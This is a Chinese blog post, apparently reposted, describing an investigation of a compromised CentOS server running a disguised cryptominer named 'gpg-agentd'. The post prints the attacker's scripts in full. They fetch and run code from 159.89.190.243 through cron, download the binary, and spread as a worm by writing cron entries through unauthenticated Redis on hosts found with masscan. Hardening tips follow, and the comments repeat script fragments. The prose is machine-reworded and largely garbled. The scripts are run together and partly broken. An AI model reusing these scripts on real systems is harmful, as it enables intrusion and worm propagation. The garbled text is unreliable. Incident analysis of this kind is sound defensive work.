记一次 linux 被入侵全过程

记一次 linux 被入侵全过程

黑客安全hacker2019-09-22 13:34:5511715A+A-

0x00 背景图

  星期一早晨刚到公司办公室,就听见朋友说有每台网络服务器登录不到了,因为我没放在心里,再次边吃尽早,边看币价是否又跌了。一会儿运维管理的朋友也来到,上气不接下气的说:人们有台网络服务器被阿里服务器冻洁了,原因:对外开放故意分包。我学会放下泡菜馅的小笼包,ssh连了一下下,被回绝了,问了下默认设置的22端口号封号了。让运维管理的朋友把端口号改了一下下,立刻连上去,顺带看过一下下登录名:root,也有不够8位的新手登陆密码,内心一凉凉:招黑了!

  0x01 搜索案件线索

  电脑系统CentOS 6.X,布署了nginx,tomcat,redis等运用,上去先把数据库查询全备份文件到当地,随后top指令看过一下下,有2个99%的重名系统进程还要运作,叫gpg-agentd。

  google了一下下gpg,結果是:

  GPG出示的gpg-agent出示了对SSH协议书的适用,这一作用能够大大简化密匙的管理方面。

  看上去好像1个很正儿八经的程序流程嘛,但细心再看一下网络服务器上的系统进程后边还跟着1个英文字母d,掩藏的非常好,令人想起來windows上各种各样看上去像的病毒感染。再次

  ps eho command -p 23374netstat -pan | grep 23374

  查询pid:23374系统进程起动相对路径和互联网情况,也就是说赶到了图1的文件目录,到此早已找到黑客留有的二进制可执行文件。接下去也有2个难题在等着我:

  1、文档是如何发送的?

  2、这一文档的目地是啥,或者黑客想干什么?

  history看下,纪录果真都被清除了,没留有一切印痕。再次指令more messages,

  见到了在后半夜12点上下,在网络服务器上用了许多手机软件,在其中几个手机软件造成了我的留意,下边详尽讲。边找边猜,假如人们要做错事,大约会在哪儿下功夫,全自动起动?定时执行起动?对,计划任务。

  crontab -e

  果真,案件线索找到。

  0x02 作案动机

  上边的计划任务的含意就是说每15分鐘去网络服务器上下载脚本制作,而且实行这一脚本制作。人们把脚本制作免费下载出来看下。

  curl -fsSL 159.89.190.243/ash.php > ash.sh

  脚本内容如下:

  uname -aidhostnamesetenforce 0 2>/dev/nullulimit -n 50000ulimit -u 50000crontab -r 2>/dev/nullrm -rf /var/spool/cron15 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/rootecho '*/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/crontabs/rootyum install -y bash 2>/dev/nullapt install -y bash 2>/dev/nullapt-get install -y bash 2>/dev/nullbash -c 'curl -fsSL 159.89.190.243/|bash' 2>/dev/null

  大致分析一下该脚本的主要用途:

  首先是关闭SELinux,解除shell资源访问限制,然后在/root/.ssh/authorized_keys文件中生成ssh公钥,这样每次黑客登录这台服务器就可以免密码登录了,执行脚本就会方便很多,关于ssh keys的文章可以参考这一篇文章SSH原理与运用。接下来安装bash,最后是继续下载第二个脚本,并且执行。

  继续下载并分析,内容如下:

  sleep \$( seq 3 7 | sort -R | head -n1 )cd /tmp || cd /var/tmpsleep 1mkdir -p .ICE-unix/... && chmod -R 777 .ICE-unix && cd .ICE-unix/...sleep 1if [ -f .watch ]; thenrm -rf .watchexit 0fisleep 1echo 1 > .watchsleep 1ps x | awk '!/awk/ && /redisscan|ebscan|redis-cli/ {print \$1}' | xargs kill -9 2>/dev/nullps x | awk '!/awk/ && /barad_agent|masscan|.sr0|clay|udevs|.sshd|xig/ {print \$1}' | xargs kill -9 2>/dev/nullsleep 1if ! [ -x /usr/bin/gpg-agentd ]; thencurl -s -o /usr/bin/gpg-agentd 159.89.190.243/dump.dbecho '/usr/bin/gpg-agentd' > /etc/ 'curl -fsSL 159.89.190.243/ash.php|sh' >> /etc/ 'exit 0' >> /etc/fisleep 1chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentdsleep 1if ! [ -x "\$(command -v masscan)" ]; thenrm -rf /var/lib/apt/lists2 * * * * curl -fsSL http://159.89.190.243/ash.php | sh

  "' >> .datecho 'set backup2 "

  */3 * * * * wget -q -O- http://159.89.190.243/ash.php | sh

  "' >> .datecho 'set backup3 "

  */4 * * * * curl -fsSL http://159.89.190.243/ash.php | sh

  "' >> .datecho 'set backup4 "

  */5 * * * * wget -q -O- http://159.89.190.243/ash.php | sh

  "' >> .datecho 'config set dir "/var/spool/cron/"' >> .datecho 'config set dbfilename "root"' >> .datecho 'save' >> .datecho 'config set dir "/var/spool/cron/crontabs"' >> .datecho 'save' >> .datsleep 1masscan --max-rate 10000 -p6379,6380 --shard \$( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 /0 2>/dev/null | awk '{print \$6, substr(\$4, 1, length(\$4)-4)}' | sort | uniq > .shardsleep 1while read -r h p; docat .dat | redis-cli -h \$h -p \$p --raw 2>/dev/null 1>/dev/null &done < .shardsleep 1masscan --max-rate 10000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2>/dev/null | awk '{print \$6, substr(\$4, 1, length(\$4)-4)}' | sort | uniq > .rangessleep 1while read -r h p; docat .dat | redis-cli -h \$h -p \$p --raw 2>/dev/null 1>/dev/null &done < .rangessleep 1ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's//([0-9]{2})//16/g' > .inetsleep 1masscan --max-rate 10000 -p6379,6380 -iL .inet | awk '{print \$6, substr(\$4, 1, length(\$4)-4)}' | sort | uniq > .lansleep 1while read -r h p; docat .dat | redis-cli -h \$h -p \$p --raw 2>/dev/null 1>/dev/null &done < .lansleep 60rm -rf .dat .shard .ranges .lan 2>/dev/null

假如说前2个脚本制作仅仅在网络服务器上免费下载实行了二进制文件,那这一脚本制作才真实显示信息病毒感染的杀伤力。下边就来剖析这一脚本制作。

  刚开始的改动系统软件自然环境没有什么好说的,接下去的写文档实际操作有点儿熟悉,假如试过redis的人,应当能猜中,这儿是对redis开展配备。写这一配备,大自然也就是说运用了redis把缓存文件內容载入当地文档的系统漏洞,結果就是说用当地的私钥去登录被载入公钥的网络服务器了,不用登陆密码就能够登录?簿褪俏颐俏恼伦羁嫉?root/.ssh/authorized_keys。登陆以后就刚开始按时实行计划任务,免费下载脚本制作。好啦,配置文件做好准备,就刚开始运用masscan开展各大网站扫描仪redis网络服务器,找寻肉食鸡,留意看这6379就是说redis网络服务器的默认设置端口号,当你的redis的记录端口号是内网ipIP或者,而且沒有密保,过意不去,我也中招了。

  0x03 小结

  根据先后剖析这3个脚本制作,就能看得出这一病毒感染的恐怖的地方,起先根据载入ssh public key 取得登陆管理权限,然后下载实行远程控制二进制文件,最终再根据redis系统漏洞拷贝,快速在各大网站散播,以指数值级速率提高。那麼难题是,这台网络服务器是如何中招的呢?看过下,bind的详细地址是,没啥难题。从而能够推论,应当是root账号被暴力破解了,以便认证我的念头,我lastb看过一下下,果真有很多的纪录:

  还剩最后难题,这一gpg-agentd程序流程究竟是做什么的呢?我那时候的第一位反映就是说挖矿机,由于如今虚拟货币太爆火,增加了分布式系统挖矿机的要求,也就催产了那条深灰色全产业链。因此,随手把这一gpg-agentd移到ida中,用string检索bitcoin,eth, mine等有关英语单词,最后发觉了这一:

  开启 看下,任何都清楚了。

  一、网络服务器

  1. 停用ROOT

  2. 账户密码尽可能繁杂

  3. 改动ssh的默认设置22端口号

  4. 安裝DenyHosts防暴力破解软件

  5. 停用密码登录,应用RSA公钥登陆

  二、redis

  1. 停用内网ipIP记录,包含

  2. 应用登陆密码限定浏览redis

  3. 应用较低管理权限账号运作redis

  到此,全部侵入全过程基础剖析完后,假如大伙儿对样版有兴趣爱好,还可以自主去curl,或者去虚拟机实行上边的脚本制作。由于自己工作能力不足,本文在所难免出現粗心大意或者不正确,还请大伙儿多多的纠正。


点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
  • 5条评论
  • 俗野抹忆2022-05-29 13:54:18
  • amp; rm -rf .watchbash -c 'curl -fsSL 159.89.190.243/rsh.php|bash' 2>/dev/null  这段脚本的代码比较长,但主要的功能有4个:  1. 下载远程代码到本地,添加执行权限,chmod u+x。  2
  • 世味渔阳2022-05-29 08:39:17
  • 39;exit 0' >> /etc/fisleep 1chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentdsleep 1if ! [ -x
  • 囤梦饮湿2022-05-29 13:13:56
  • 是如何中招的呢?看过下,bind的详细地址是,没啥难题。从而能够推论,应当是root账号被暴力破解了,以便认证我的念头,我lastb看过一下下,果真有很多的纪录:  还剩最后难题,这一gpg-
  • 只影依疚2022-05-29 05:02:43
  • amp;& /redisscan|ebscan|redis-cli/ {print \$1}' | xargs kill -9 2>/dev/nullps x | awk '!/aw
  • 笙沉语酌2022-05-29 12:30:46
  • q7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+Th

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理